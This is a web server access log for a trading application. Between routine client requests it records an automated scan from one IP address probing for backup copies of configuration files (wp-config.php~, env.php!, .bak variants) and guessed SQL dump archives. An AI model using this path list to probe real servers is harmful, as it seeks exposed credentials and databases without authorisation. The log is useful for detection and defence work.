[09/Jan/2026:10:58:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927810969 HTTP/1.1" -
[09/Jan/2026:10:58:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:58:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:58:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927824225 HTTP/1.1" -
[09/Jan/2026:10:59:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php_1.bak HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config~ HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927813279 HTTP/1.1" -
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927816146 HTTP/1.1" -
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config~ HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927830235 HTTP/1.1" -
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml~ HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini~ HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927818324 HTTP/1.1" -
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927821271 HTTP/1.1" -
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config~ HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak~ HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php~ HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config! HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php! HTTP/1.1" 196
[09/Jan/2026:10:59:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php! HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:59:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php! HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php! HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php! HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php! HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php! HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:59:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php! HTTP/1.1" 196
[09/Jan/2026:10:59:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.tar.gz HTTP/1.1" 196
